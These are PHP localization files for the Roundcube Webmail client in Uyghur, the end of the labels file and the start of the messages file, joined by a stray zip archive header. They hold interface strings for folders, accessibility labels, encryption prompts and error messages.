$labels['replyalldefault'] = 'ھەممىگە جاۋاپ قايتۇرۇش';
$labels['replyalllist'] = 'خەت ئەۋەتىش تىزىملىكىگىلا جاۋاپ قايتۇرۇش (تېپىلسا)';
$labels['allmessages'] = 'بارلىق خەتلەر';
$labels['olderxdays'] = 'x$ كۈندىن چوڭ';
$labels['folder'] = 'قىسقۇچ';
$labels['folders'] = 'قىسقۇچلار';
$labels['foldername'] = 'قىسقۇچ نامى';
$labels['subscribed'] = 'مۇشتەرى بولغان';
$labels['messagecount'] = 'خەتلەر';
$labels['create'] = 'قۇرۇش';
$labels['createfolder'] = 'يېڭى قىسقۇچ قۇرۇش';
$labels['managefolders'] = 'قىسقۇچلارنى باشقۇرۇش';
$labels['specialfolders'] = 'ئالاھىدە قىسقۇچلار';
$labels['properties'] = 'خاسلىقلار';
$labels['folderproperties'] = 'قىسقۇچ خاسلىقلىرى';
$labels['parentfolder'] = 'ئانا قىسقۇچ';
$labels['location'] = 'ئورۇن';
$labels['info'] = 'ئۇچۇر';
$labels['getfoldersize'] = 'بېسىپ قىسقۇچ چوڭلۇقىنى كۆرۈش';
$labels['changesubscription'] = 'بېسىپ مۇشتەرىلىكنى ئۆزگەرتىش';
$labels['foldertype'] = 'قىسقۇچ تۈرى';
$labels['personalfolder'] = 'شەخسىي قىسقۇچ';
$labels['otherfolder'] = 'باشقا ئىشلەتكۈچىنىڭ قىسقۇچى';
$labels['sharedfolder'] = 'ئاممىۋى قىسقۇچ';
$labels['findfolders'] = 'قىسقۇچلارنى تېپىش';
$labels['findcontacts'] = 'تۇنۇشلارنى تېپىش';
$labels['findmail'] = 'ئېلىخەت ئۇچۇرلىرىنى تېپىش';
$labels['namespace.personal'] = 'شەخسىي';
$labels['namespace.other'] = 'باشقا ئىشلەتكۈچىلەر';
$labels['namespace.shared'] = 'ھەمبەھىرلىگەن';
$labels['dualuselabel'] = 'پەقەتلا ئۆز-ئىچىگە ئالىدۇ';
$labels['dualusemail'] = 'ئۇچۇرلار';
$labels['dualusefolder'] = 'قىسقۇچلار';
$labels['generate'] = 'ھاسىل قىلىش';
$labels['encryptioncreatekey'] = 'يېڭى ئاچقۇچ جۈپى ھاسىل قىلىش';
$labels['openmailvelopesettings'] = 'خەت لىپاپىسى تەڭشەكلىرىنى ئېچىش';
$labels['encryptionprivkeysinmailvelope'] = 'سىزدە خەت لىپاپىسى ئاچقۇچ زەنجىرىدە ساقلانغان nr$ ماس كىلىدىغان شەخسىي ئاچقۇچلار بار:';
$labels['encryptionnoprivkeysinmailvelope'] = 'بۇ ئەۋەتكۈچىنىڭ سىزنىڭ خەت لىپاپىڭىزدا ساقلانغان PGP شەخسىي ئاچقۇچى يوق. شىفىرلانغان خەتنى قوزغىتىش ئۈچۈن بىرنى قۇرۇشنى خالامسىز؟';
$labels['encryption'] = 'شىفىرلاش';
$labels['mailvelopeoptions'] = 'خەت لىپاپىسى تاللانمىلىرى';
$labels['mailvelopemainkeyring'] = 'خەت لىپاپىسى ئاساسىي ئاچقۇچ زەنجىرىنى ئىشلىتىش';
$labels['mailvelopenotfound'] = 'خەت ئالاقىسى كېڭەيتمىسى تور كۆرگۈچىڭىزدە يوق/قاچىلانمىدى.';
$labels['sortby'] = 'رەتكە تىزىش';
$labels['sortasc'] = 'چوڭايغان بۇيىچە رەتكە تىزىش';
$labels['sortdesc'] = 'كىچىكلىگەن بۇيىچە رەتكە تىزىش';
$labels['undo'] = 'يېنىۋېلىش';
$labels['installedplugins'] = 'قاچىلانغان قوراللار';
$labels['plugin'] = 'قورال';
$labels['version'] = 'نەشىرى';
$labels['source'] = 'مەنبە';
$labels['destination'] = 'مەنزىل';
$labels['license'] = 'كىنىشكا';
$labels['support'] = 'ياردەمگە ئېرىشىڭ';
$labels['savedsearches'] = 'ساقلانغان ئىزدەشلەر';
$labels['dateformatY'] = 'ي ي ي ي';
$labels['dateformaty'] = 'ي ي';
$labels['dateformatm'] = 'ئا ئا';
$labels['dateformatd'] = 'ك ك';
$labels['dateformatj'] = 'ك';
$labels['dateformatn'] = 'ئا';
$labels['B'] = 'بايت';
$labels['KB'] = 'كىلوبايت';
$labels['MB'] = 'مېگابايىت';
$labels['GB'] = 'گىگابايىت';
$labels['unicode'] = 'ئۇنىكود';
$labels['english'] = 'ئىنگىلىزچە';
$labels['westerneuropean'] = 'غەربىي ياۋرۇپاچە';
$labels['easterneuropean'] = 'شەرقىي ياۋروپاچە';
$labels['southeasterneuropean'] = 'شەرقىي-جەنۇبىي ياۋرۇپاچە';
$labels['baltic'] = 'بالتىق';
$labels['cyrillic'] = 'قىرىلچە';
$labels['arabic'] = 'ئەرەپچە';
$labels['greek'] = 'گىرىكچە';
$labels['hebrew'] = 'ئىبرانىي';
$labels['turkish'] = 'تۈركچە';
$labels['nordic'] = 'شىمالىي ياۋرۇپاچە';
$labels['thai'] = 'تايلاندچە';
$labels['celtic'] = 'كېلتىك';
$labels['vietnamese'] = 'ۋېتنامچە';
$labels['japanese'] = 'ياپۇنچە';
$labels['korean'] = 'كورىيەچە';
$labels['chinese'] = 'خىتايچە';
$labels['arialabeltopnav'] = 'كۆزنەك باشقۇرۇش';
$labels['arialabeltasknav'] = 'ئەپ ۋەزىپىلىرى';
$labels['arialabeltoolbar'] = 'ئەپ قورال بالدىقى';
$labels['arialabellistnav'] = 'تىزىملىكنى كۆرسىتىش';
$labels['arialabelactivetask'] = 'جانلىق ۋەزىپە';
$labels['arialabelmessagessearchfilter'] = 'ئېلىخەت تىزىش سۈزگۈچى';
$labels['arialabelmailsearchform'] = 'ئېلىخەت ئۇچۇر ئىزدەش جەدىۋېلى';
$labels['arialabelcontactsearchform'] = 'تۇنۇشلارنى ئىزدەش جەدىۋېلى';
$labels['arialabelmailquicksearchbox'] = 'ئېلىخەت ئىزدەش كىرگۈزۈش';
$labels['arialabelquicksearchbox'] = 'ئىزدەش كىرگۈزگۈچ';
$labels['arialabelfoldersearchfilter'] = 'قىسقۇچ تىزىش سۈزگۈچى';
$labels['arialabelfoldersearchform'] = 'قىسقۇچ ئىزدەش جەدىۋېلى';
$labels['arialabelfolderlist'] = 'ئېلىخەت قىسقۇچىنى تاللاش';
$labels['arialabelmessagelist'] = 'ئېلىخەت خەتلىرىنى تىزىش';
$labels['arialabelmailpreviewframe'] = 'خەت ئالدىن كۆرگۈزگۈچ';
$labels['arialabelmailboxmenu'] = 'قىسقۇچ ھەركەت تىزىملىكى';
$labels['arialabellistselectmenu'] = 'تاللاش تىزىملىكىنى كۆرسىتىش';
$labels['arialabelthreadselectmenu'] = 'يىپلارنى كۆرسىتىش تىزىملىكى';
$labels['arialabelmessagelistoptions'] = 'خەت تىزىملىكىنى كۆرسىتىش ھەمدە تۈرگە ئايرىش تاللانمىلىرى';
$labels['arialabelmailimportdialog'] = 'خەت كىرگۈزۈش دېئالوگى';
$labels['arialabelmessagenav'] = 'خەت يولباشلاش';
$labels['arialabelmessagebody'] = 'خەت مەزمۇنى';
$labels['arialabelmessageactions'] = 'خەت ھەركىتى';
$labels['arialabelcontactquicksearch'] = 'تۇنۇشلارنى ئىزدەش جەدىۋېلى';
$labels['arialabelcontactsearchbox'] = 'تۇنۇش ئىزدەش كىرگۈزگۈچ';
$labels['arialabelmessageheaders'] = 'خەت باشلانمىلىرى';
$labels['arialabelforwardingoptions'] = 'يەتكۈزۈش تاللانمىلىرى';
$labels['arialabelreplyalloptions'] = 'ھەممىگە جاۋاپ قايتۇرۇش تاللانمىلىرى';
$labels['arialabelmoremessageactions'] = 'تېخىمۇ كۆپ خەت ھەركەتلىرى';
$labels['arialabelmorecontactactions'] = 'تېخىمۇ كۆپ تۇنۇش ھەركەتلىرى';
$labels['arialabelmarkmessagesas'] = 'تاللانغان خەتكە بەلگىسىنى قۇيۇش...';
$labels['arialabelcomposeoptions'] = 'يېزىش تاللانمىلىرى';
$labels['arialabelresponsesmenu'] = 'قاتلانغان ئىنكاس تىزىملىكى';
$labels['arialabelattachmentuploadform'] = 'قىستۇرما چىقىرىش جەدىۋېلى';
$labels['arialabelattachmentmenu'] = 'قىستۇرما تاللانمىلىرى';
$labels['arialabelmailtomenu'] = 'ئېلىخەت ئادىرىس تاللانمىلىرى';
$labels['arialabelattachmentpreview'] = 'قىستۇرما ئالدىن كۆرگۈزگۈچ';
$labels['ariasummarycomposecontacts'] = 'تاپشۇرۋالغۇچىلارنى تاللايدىغان توپلارنى ۋە تۇنۇشلارنى تىزىش';
$labels['arialabelcontactexportoptions'] = 'تۇنۇشلارنى چىقىرىش تاللانمىلىرى';
$labels['arialabelabookgroupoptions'] = 'ئادرىس دەپتىرى/توپ تاللانمىلىرى';
$labels['arialabelpreferencesform'] = 'مايىللىق جەدىۋېلى';
$labels['arialabelidentityeditfrom'] = 'كىملىك تەھرىرلەش جەدىۋېلى';
$labels['arialabelresponseeditfrom'] = 'ئىنكاس تەھرىرلەش جەدىۋېلى';
$labels['arialabelsearchterms'] = 'ئىزدەش ئاتالغۇلىرى';
$labels['arialabeldropactionmenu'] = 'سۆرەش ۋە تاشلاش ھەركەت تىزىملىكى';
$labels['arialabelheadersmenu'] = 'تاپشۇرۋالغۇچى (باشلانما) قۇشۇش تىزىملىكى';
$labels['arialabelimagetools'] = 'رەسىم قوراللىرى';
$labels['helplistnavigation'] = 'كۇنۇپكا تاختىسى يولباشلىغۇچىنى تىزىش';
$labels['helplistkeyboardnavigation'] = "يۇقىرى/تۆۋەن ئىستىرىلكا: قۇر يۆتكەشكە مەركەزلەشتۈرۈش/تاللاش
بوشلۇق: مەركەزلەشكەن قۇرنى تاللاش.
يۆتكەش+يۇقىرى/تۆۋەن: يۇقىرى/تۆۋەن قۇشۇمچە قۇرنى تاللاش.
كونتىرول+بوشلۇق: مەركەزلەشكەن قۇرنى تاللاش ياكى تاللىماسلىق.";
$labels['helplistkeyboardnavmessages'] = "ئىستىرىلكا ئوڭ/سول: خەت يىپىنى كېڭەيتىش/ئىخچاملاش (يىپ ھالىتىدە بولسا).
كىرىش: تاللانغان/مەركەزلەشكەن خەتنى ئېچىش.
ئۆچۈرۈش: تاللانغان خەتلەرنى ئەخلەت چېلىكىگە تاشلاش.";
$labels['helplistkeyboardnavcontacts'] = "كىرىش: تاللانغان/مەركەزلەنگەن تۇنۇشنى ئېچىش";
PK
h�\}���e�e$program/localization/ug/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'بىر خاتالىق كۆرۈلدى!';
$messages['loginfailed']  = 'كىرىش مەغلۇپ بولدى.';
$messages['cookiesdisabled'] = 'سىزنىڭ تور كۆرگۈچىڭىز پىچىنىلەرنى قوللىمايدۇ.';
$messages['sessionerror'] = 'سىزنىڭ باسقۇچىڭىز ئىناۋەتسىز ياكى ۋاقتى ئۆتتى.';
$messages['cookiesmismatch'] = 'پىچىنە ماس كەلمەسلىك بايقالدى. تور كۆرگۈچىڭىزنىڭ پىچىنىلىرىنى تازلاڭ.';
$messages['storageerror'] = 'ساقلاش مۇلازىمېتىرىغا ئۇلىنىش مەغلۇپ بولدى.';
$messages['servererror'] = 'مۇلازىمېتىر خاتالىقى!';
$messages['servererrormsg'] = 'مۇلازىمېتىر خاتالىقى: msg$';
$messages['accountlocked'] = 'بەك كۆپ كىرىش مەغلۇبى. كىيىنرەك سىناپ بېقىڭ.';
$messages['connerror'] = 'ئۇلىنىش خاتالىقى (مۇلازىمېتىرغا يەتكىلى بولمىدى)!';
$messages['dberror'] = 'سانلىق مەلۇمات ئامبىرى خاتالىقى!';
$messages['dbconnerror'] = 'سانلىق مەلۇمات ئامبىرىغا ئۇلىغىلى بولمىدى!';
$messages['windowopenerror'] = 'سەكرەپ چىقىش كۆزنىكى مەنئي قىلىندى!';
$messages['requesttimedout'] = 'تەلەپ ۋاقتى ئۆتتى';
$messages['errorreadonly'] = 'ۋەزىپىنى ئورۇندىغىلى بولمىدى. قىسقۇچ بولسا ئوقۇشقىلا-بولىدىغان.';
$messages['errornoperm'] = 'ۋەزىپىنى ئورۇندىغىلى بولمىدى. ئىجازەت بېرىلمىدى.';
$messages['erroroverquota'] = 'ۋەزىپىنى ئورۇندىغىلى بولمىدى. بىكار دىسكا بوشلۇقى يوق.';
$messages['erroroverquotadelete'] = 'بىكار دىسكا بوشلۇقى قالمىدى. SHIFT+DEL نى بېسىپ بىر خەتنى ئۆچۈرۈڭ.';
$messages['invalidrequest'] = 'ئىناۋەتسىز تەلەپ! ھېچقانداق ئۇچۇر ساقلانمىدى.';
$messages['invalidhost'] = 'ئىناۋەتسىز مۇلازىمېتىر نامى.';
$messages['nomessagesfound'] = 'بۇ ئېلىخەت ساندۇقىدا ھېچقانداق خەت يوق.';
$messages['loggedout'] = 'سىز بۇ باسقۇچنى مۇۋاپىقىيەتلىك ئاخىرلاشتۇردىڭىز. خەيىر-خوش!';
$messages['mailboxempty'] = 'خەت ساندۇقى قۇرۇق';
$messages['nomessages'] = 'ئۇچۇر يوق';
$messages['refreshing'] = 'يېڭىلاۋاتىدۇ...';
$messages['loading'] = 'يۈكلەۋاتىدۇ...';
$messages['uploading'] = 'ھۆججەت چىقىرىۋاتىدۇ...';
$messages['attaching'] = 'ھۆججەت قىستۇرۋاتىدۇ...';
$messages['uploadingmany'] = 'ھۆججەتلەرنى چىقىرىۋاتىدۇ...';
$messages['loadingdata'] = 'ئۇچۇرلارنى يۈكلەۋاتىدۇ...';
$messages['checkingmail'] = 'يېڭى ئۇچۇرلارنى تەكشۈرىۋاتىدۇ...';
$messages['sendingmessage'] = 'خەتنى ئەۋەتىۋاتىدۇ...';
$messages['messagesent'] = 'خەت مۇۋاپىقىيەتلىك ئەۋەتىلدى';
$messages['savingmessage'] = 'خەتنى ساقلاۋاتىدۇ...';
$messages['messagesaved'] = 'خەت قوليازما قىسقۇچىغا ساقلاندى.';
$messages['successfullysaved'] = 'مۇۋاپىقىيەتلىك ساقلاندى.';
$messages['savingresponse'] = 'ئىنكاس تىكىستىنى ساقلاۋاتىدۇ...';
$messages['deleteresponseconfirm'] = 'بۇ ئىنكاس تېكىستىنى راستىنلا ئۆچۈرەمسىز؟';
$messages['nocontactselected'] = 'سىز تېخى بىرەر تۇنۇش تاللىمىدىڭىز.';
$messages['addedsuccessfully'] = 'تۇنۇش ئادىرىس دەپتىرىگە مۇۋاپىقىيەتلىك قېتىلدى.';
$messages['contactexists'] = 'ئوخشاش ئېلىخەت ئادىرىستىكى تۇنۇش مەۋجۇت.';
$messages['contactnameexists'] = 'ئوخشاش ئىسىملىك تۇنۇش مەۋجۇت.';
$messages['blockedimages'] = 'مەخپىيەتلىكىڭىزنى قوغداش ئۈچۈن، يىراق-مەنبەلىك رەسىملەر بۇ خەتتە مەنئىي قىلىندى.';
$messages['blockedresources'] = 'مەخپىيەتلىكىڭىزنى قوغداش ئۈچۈن يىراق مەنبەلەر مەنئىي قىلىندى.';
$messages['suspiciousemail'] = 'بۇ خەت ئالدامچىلىققا مۇناسىۋەتلىك گۇمانلىق ئېلخەت ئادىرسىنى ئۆز-ئىچىگە ئالغان.';
$messages['bccemail'] = 'يەتكۈزۈلگەن خەت(لەر) مەخپىي تاپشۇرۋالغۇچىلارنى ئۆز-ئىچىگە ئالىدۇ(ب چ چ).';
$messages['bouncehint'] = 'بۇ خەت ھېچقانداق ئۆزگەرتمەي ئەۋەتىلدۇ، مەسلەن: ئەسلىدىكى مەزمۇن، باشلانما ھەمدە تاپشۇرۋالغۇچىلار بىلەن.';
$messages['encryptedmessage'] = 'بۇ بىر شىفىرلانغان خەت شۇڭا كۆرسەتكىلى بولمايدۇ. كەچۈرۈڭ!';
$messages['externalmessagedecryption'] = 'بۇ بىر شىفىرلانغان خەت بۇلۇپ، تور كۆرگۈچنىڭ كېڭەيتىلمىسى بىلەن شىفىرسىزلىغىلى بۇلىدۇ.';
$messages['nopubkeyfor'] = 'بۇ email$ ئۈچۈن ئاممىۋىي ئاچقۇچ تېپىلمىدى';
$messages['nopubkeyforsender'] = 'سىزنىڭ ئەۋەتكۈچى كىملىكىڭىزگە ماس ئاممىۋىي ئاچقۇچ تېپىلمىدى. سىز بۇ خەتنى تاپشۇرۋالغۇچىلار ئۈچۈنلا شىفىرلامسىز؟';
$messages['encryptnoattachments'] = 'ئاللىبۇرۇن چىقىرىلغان قىستۇرمىلارنى شىفىرلىغىلى بولمايدۇ. ئۇلارنى شىفىرلاش تەھرىرىدە قايتا قۇشۇڭ.';
$messages['searchpubkeyservers'] = 'سىز بۇ كەم قالغان ئاچقۇچلار ئۈچۈن ئاممىۋىي ئاچقۇچ مۇلازىمېتىرلىرىنى ئىزدەمسىز؟';
$messages['encryptpubkeysfound'] = 'تۆۋەندىكى ئاممىۋىي ئاچقۇچ تېپىلدى:';
$messages['keyservererror'] = 'ئاچقۇچ مۇلازىمېتىردىن ئاچقۇچقا ئېرىشكىلى بولمىدى.';
$messages['keyimportsuccess'] = 'ئاممىۋىي ئاچقۇچ key$ سىزنىڭ ئاچقۇچ چەمبىرىكىڭىزگە مۇۋاپىقىيەتلىك كىرگۈزۈلدى.';
$messages['nocontactsfound'] = 'ھېچقانداق تۇنۇش تېپىلمىدى.';
$messages['contactnotfound'] = 'تەلەپ قىلىنغان تۇنۇش تېپىلمىدى.';
$messages['contactsearchonly'] = 'سىز تاللانغان ئادىرس دەپتىرىدىن تۇنۇشلارنى كۆرۈش ئۈچۈن ئىزدەش جەدىۋېلىنى ئىشلىتىشىڭىز لازىم.';
$messages['sendingfailed'] = 'خەتنى ئەۋەتىش مەغلۇپ بولدى.';
$messages['senttooquickly'] = 'بۇ خەتنى ئەۋەتىشتىن بۇرۇن sec$ سىكونت(لار) ساقلاڭ.';
$messages['errorsavingsent'] = 'ئەۋەتىلگەن خەتنى ساقلاۋاتقاندا بىر خاتالىق كۆرۈلدى.';
$messages['errorsaving'] = 'ساقلاۋاتقاندا بىر خاتالىق كۆرۈلدى.';
$messages['errormoving'] = 'بۇ خەت(لەر)نى يۆتكىگىلى بولمىدى.';
$messages['errorcopying'] = 'بۇ خەت(لەر)نى كۆچۈرگىلى بولمىدى.';
$messages['errordeleting'] = 'بۇ خەت(لەر)نى ئۆچۈرگىلى بولمىدى.';
$messages['errormarking'] = 'بۇ خەت(لەر)گە بەلگە قويغىلى بولمىدى.';
$messages['alerttitle'] = 'دىققەت';
$messages['confirmationtitle'] = 'جەزىملەشتۈرەمسىز...';
$messages['deletecontactconfirm']  = 'سىز تاللانغان تۇنۇش(لار)نى راستىنلا ئۆچۈرمەكچىمۇ؟';
$messages['deletegroupconfirm']  = 'سىز تاللانغان توپنى راستىنلا ئۆچۈرمەكچىمۇ؟';
$messages['deletemessagesconfirm'] = 'سىز تاللانغان خەت(لەر)نى راستىنلا ئۆچۈرمەكچىمۇ؟';
$messages['deletefolderconfirm']  = 'بۇ قىسقۇچنى راستىنلا ئۆچۈرەمسىز؟';
$messages['movefolderconfirm']  = 'سىز بۇ قىسقۇچنى راستىنلا يۆتكەمسىز؟';
$messages['purgefolderconfirm']  = 'سىز بۇ قىسقۇچتىكى بارلىق خەتلەرنى راستىنلا ئۆچۈرمەكچىمۇ؟';
$messages['contactdeleting'] = 'تۇنۇش(لار)نى ئۆچۈرىۋاتىدۇ...';
$messages['groupdeleting'] = 'توپنى ئۆچۈرىۋاتىدۇ...';
$messages['folderdeleting'] = 'قىسقۇچنى ئۆچۈرىۋاتىدۇ...';
$messages['foldermoving'] = 'قىسقۇچنى يۆتكەۋاتىدۇ...';
$messages['foldersubscribing'] = 'قىسقۇچقا مۇشتەرى بۇلىۋاتىدۇ...';
$messages['folderunsubscribing'] = 'قىسقۇچقا مۇشتەرى بولمايۋاتىدۇ...';
$messages['formincomplete'] = 'بۇ جەدىۋەل تۇلۇق تولدۇرۇلمىدى.';
$messages['noemailwarning'] = 'بىر ئىناۋەتلىك ئېلىخەت ئادىرسىنى كىرگۈزۈڭ.';
$messages['nonamewarning']  = 'بىر ئىسىم كىرگۈزۈڭ.';
$messages['nopagesizewarning'] = 'بەت چوڭلۇقىنى كىرگۈزۈڭ.';
$messages['nosenderwarning'] = 'ئەۋەتكۈچى ئېلىخەت ئادىرسىنى كىرگۈزۈڭ.';
$messages['recipientsadded'] = 'تاپشۇرۋالغۇچى(لار) مۇۋاپىقىيەتلىك قۇشۇلدى.';
$messages['norecipientwarning'] = 'ئەڭ كەمدە بىر تاپشۇرۋالغۇچى كىرگۈزۈڭ.';
$messages['disclosedrecipwarning'] = 'بارلىق تاپشۇرۋالغۇچىلار بىر-بىرىنىڭ ئېلىخەت ئادىرىسلىرىنى كۆرەلەيدۇ. بۇنىڭدىن ساقلىنىش ھەمدە مەخپىيەتلىكنى ساقلاش ئۈچۈن، سىز Bcc ئورنىنى ئىشلىتەلەيسىز.';
$messages['disclosedreciptitle'] = 'بەك كۆپ ئاممىۋىي تاپشۇرۋالغۇچىلار';
$messages['nosubjectwarning']  = '"تېما" كاتەكچىسى قۇرۇق. بىرنى كىرگۈزۈشنى خالامسىز؟';
$messages['nosubjecttitle']  = 'تېما يوق';
$messages['nobodywarning'] = 'بۇ ئۇچۇرنى مەزمۇنسىز ئەۋەتەمسىز؟';
$messages['notsentwarning'] = 'بۇ خەت ئەۋەتىلمىدى ھەمدە ساقلانمىغان ئۆزگىرىشلەر بار. ئۆزگەرتىشلەرنى تاشلىۋېتەمسىز؟';
$messages['restoresavedcomposedata'] = 'بىر-پارچە ئىلگىرى يېزىلغان لىكىن ئەۋەتىلمىگەن خەت تېپىلدى. تېما: subject$ ساقلانغان: date$ سىز بۇ خەتنى ئەسلىگە قايتۇرامسىز؟';
$messages['nosearchname'] = 'بىرەر تۇنۇش ئىسمى ياكى ئېلىخەت ئادىرسىنى كىرگۈزۈڭ.';
$messages['notuploadedwarning'] = 'تېخى ھەممە قىستۇرمىلار چىقىرىپ بولۇنمىدى. ساقلاڭ ياكى چىقىرىشنى ئەمەلدىن قالدۇرۇڭ.';
$messages['searchsuccessful'] = 'nr$ خەتلەر تېپىلدى.';
$messages['contactsearchsuccessful'] = 'nr$ تۇنۇشلار تېپىلدى.';
$messages['searchnomatch'] = 'ئىزدەشكە ھېچنىمە ماس كەلمىدى.';
$messages['searching'] = 'ئىزدەۋاتىدۇ...';
$messages['checking'] = 'تەكشۈرۋاتىدۇ...';
$messages['stillsearching'] = 'تېخىچە ئىزدەۋاتىدۇ...';
$messages['nospellerrors'] = 'ھېچقانداق ئىملا خاتالىقى تېپىلمىدى.';
$messages['folderdeleted'] = 'قىسقۇچ مۇۋاپىقىيەتلىك ئۆچۈرۈلدى.';
$messages['foldersubscribed'] = 'قىسقۇچ مۇۋاپىقىيەتلىك مۇشتەرى بولۇندى.';
$messages['folderunsubscribed'] = 'قىسقۇچ مۇۋاپىقىيەتلىك مۇشتەرى بولۇنمىدى.';
$messages['folderpurged'] = 'قىسقۇچ مۇۋاپىقىيەتلىك قۇرۇقدالدى.';
$messages['folderexpunged'] = 'قىسقۇچ مۇۋاپىقىيەتلىك ئىخچاملاندى.';
$messages['deletedsuccessfully'] = 'مۇۋاپىقىيەتلىك ئۆچۈرۈلدى.';
$messages['converting'] = 'فورمات ئۆچۈرۈلۋاتىدۇ...';
$messages['messageopenerror'] = 'خەتنى مۇلازىمېتىردىن يۈكلىيەلمىدى.';
$messages['filelinkerror'] = 'ھۆججەت قىستۇرۇش مەغلۇپ بولدى.';
$messages['fileuploaderror'] = 'ھۆججەت چىقىرىش مەغلۇپ بولدى.';
$messages['csvfilemismatch'] = 'ئوخشىمىغان كاتەكچىلىك كۆپلىگەن CSV ھۆججىتىنى كىرگۈزۈش قۇبۇل قىلىنمايدۇ.';
$messages['filesizeerror'] = 'چىقارغان ھۆججەت چوڭلۇقى ئەڭ چوڭ بوشلۇق size$ دىن ئېشىپ كەتتى.';
$messages['filecounterror'] = 'سىز ئەڭ كۆپ بولغاندا count$ ھۆججەتلەرنى چىقىرالايسىز.';
$messages['msgsizeerror'] = 'ھۆججەت قىستۇرۇش مەغلۇپ بولدى. خەتنىڭ چوڭلۇقى ئەڭ يۇقىرى ئۆلچەمدىن( size$) ئېشىپ كەتتى.';
$messages['msgsizeerrorfwd'] = 'خەتنىڭ چوڭلۇقى ئۆلچەمدىن (size$) ئېشىپ كەتتى. num$ خەت(لەر) قىستۇرۇلمىدى.';
$messages['copysuccess'] = 'nr$ تۇنۇشلار مۇۋاپىقىيەتلىك كۆچۈرۈلدى.';
$messages['movesuccess'] = 'nr$ تۇنۇشلار مۇۋاپىقىيەتلىك يۆتكەلدى.';
$messages['copyerror'] = 'ھېچقانداق تۇنۇشنى كۆچۈرگىلى بولمىدى.';
$messages['moveerror'] = 'ھېچقانداق تۇنۇشنى يۆتكىگىلى بولمىدى.';
$messages['sourceisreadonly'] = 'بۇ ئادىرىس مەنبەسى بولسا ئۇقۇشقىلا-بولىدىغان.';
$messages['errorsavingcontact'] = 'بۇ تۇنۇش ئادىرسىنى ساقلىغىلى بولمىدى.';
$messages['movingmessage'] = 'خەت(لەر)نى يۆتكەۋاتىدۇ...';
$messages['copyingmessage'] = 'خەت(لەر)نى كۆچۈرۈۋاتىدۇ...';
$messages['copyingcontact'] = 'تۇنۇش(لار)نى كۆچۈرۈۋاتىدۇ...';
$messages['movingcontact'] = 'تۇنۇش(لار)نى يۆتكەۋاتىدۇ...';
$messages['deletingmessage'] = 'خەت(لەر)نى ئۆچۈرىۋاتىدۇ...';
$messages['markingmessage'] = 'خەت(لەر)گە بەلگە قۇيىۋاتىدۇ...';
$messages['addingmember'] = 'تۇنۇش(لار)نى بۇ توپقا قۇشۇۋاتىدۇ...';
$messages['removingmember'] = 'تۇنۇش(لار)نى بۇ توپتىن چىقىرىۋاتىدۇ...';
$messages['receiptsent'] = 'بىر ئۇقۇغانلىق تېلخېتى مۇۋاپىقىيەتلىك ئەۋەتىلدى.';
$messages['errorsendingreceipt'] = 'بۇ تېلىخەتنى ئەۋەتكىلى بولمىدى.';
$messages['deleteidentityconfirm'] = 'سىز بۇ كىملىكنى راستىنلا ئۆچۈرمەكچىمۇ؟';
$messages['nodeletelastidentity'] = 'سىز بۇ كىملىكنى ئۆچۈرسىڭىز بولمايدۇ، بۇ ئەڭ ئاخىرقىسى.';
$messages['forbiddencharacter'] = 'قىسقۇچ ئىسمى مەنئىي قىلىنغان ھەرىپنى ئۆز-ئىچىگە ئالىدۇ.';
$messages['selectimportfile'] = 'بىرەر ھۆججەتنى تاللاپ چىقىرىڭ.';
$messages['addresswriterror'] = 'تاللانغان ئادىرىس دەپتىرىگە يازغىلى بولمايدۇ.';
$messages['contactaddedtogroup'] = 'تۇنۇشلار بۇ توپقا مۇۋاپىقىيەتلىك قېتىلدى.';
$messages['contactremovedfromgroup'] = 'تۇنۇشلار بۇ توپتىن مۇۋاپىقىيەتلىك چىقىرىلدى.';
$messages['nogroupassignmentschanged'] = 'ھېچقانداق توپ تاپشۇرۇقى ئۆزگەرتىلمىدى.';
$messages['importwait'] = 'كىرگۈزىۋاتىدۇ، بىردەم ساقلاڭ...';
$messages['importformaterror'] = 'كىرگۈزۈش مەغلۇپ بولدى! چىقىرىلغان ھۆججەتنىڭ تىپى ئىناۋەتلىك ئەمەس.';
$messages['importconfirm'] = '<b>inserted$ تۇنۇشلار مۇۋاپىقىيەتلىك كىرگۈزۈلدى </b>';
$messages['importconfirmskipped'] = '<b> مەۋجۇت skipped$ قۇر ئۆتكۈزۈلدى </b>';
$messages['importmessagesuccess'] = 'nr$ خەتلەر مۇۋاپىقىيەتلىك كىرگۈزۈلدى';
$messages['importmessageerror'] = 'كىرگۈزۈش مەغلۇپ بولدى! چىقىرىلغان ھۆججەت ئىناۋەتلىك ئېلىخەت ياكى خەت ھۆججىتى ئەمەس.';
$messages['opnotpermitted'] = 'مەشخۇلاتقا ئىجازەت بېرىلمىدى!';
$messages['nofromaddress'] = 'تاللانغان كىملىكنىڭ ئېلىخەت ئادىرسى يوق.';
$messages['editorwarning'] = 'تەھرىرلىگۈچ تۈرىنى ئۆزگەرتىش تېكىست فورماتىنىڭ يوقىلىشىنى كەلتۈرۈپ چىقىرىشى مۇمكىن. سىز داۋاملاشتۇرامسىز؟';
$messages['httpreceivedencrypterror'] = 'بىر ئېغىر تەڭشەش خاتالىقى كۆرۈلدى. دەرھال باشقۇرغۇچىڭىز بىلەن ئالاقىلىشىڭ. <b>سىزنىڭ خېتىڭىزنى ئەۋەتكىلى بولمىدى. </b>';
$messages['smtpconnerror'] = 'SMTP خاتالىقى (code$): مۇلازىمېتىرغا ئۇلىنىش مەغلۇپ بولدى.';
$messages['smtpautherror'] = 'SMTP خاتالىقى (code$): كىملىكىنى دەلىللەش مەغلۇپ بولدى.';
$messages['smtpfromerror'] = 'SMTP خاتالىقى (code$): ئەۋەتكۈچىنى "from$" بېكىتىش مەغلۇپ بولدى (msg$).';
$messages['smtptoerror'] = 'SMTP خاتالىقى (code$): تاپشۇرۋالغۇچىنى "to$" قېتىش مەغلۇپ بولدى (msg$).';
$messages['smtprecipientserror'] = 'SMTP خاتالىقى : تاپشۇرۋالغۇچىلار تىزىملىكىنى يىشىەلمىدى.';
$messages['smtputf8error'] = 'SMTP خاتالىقى: مۇلازىمېتىر ئېلىخەت ئادىرسىدا ئۇنىكودنى قوللىمايدۇ.';
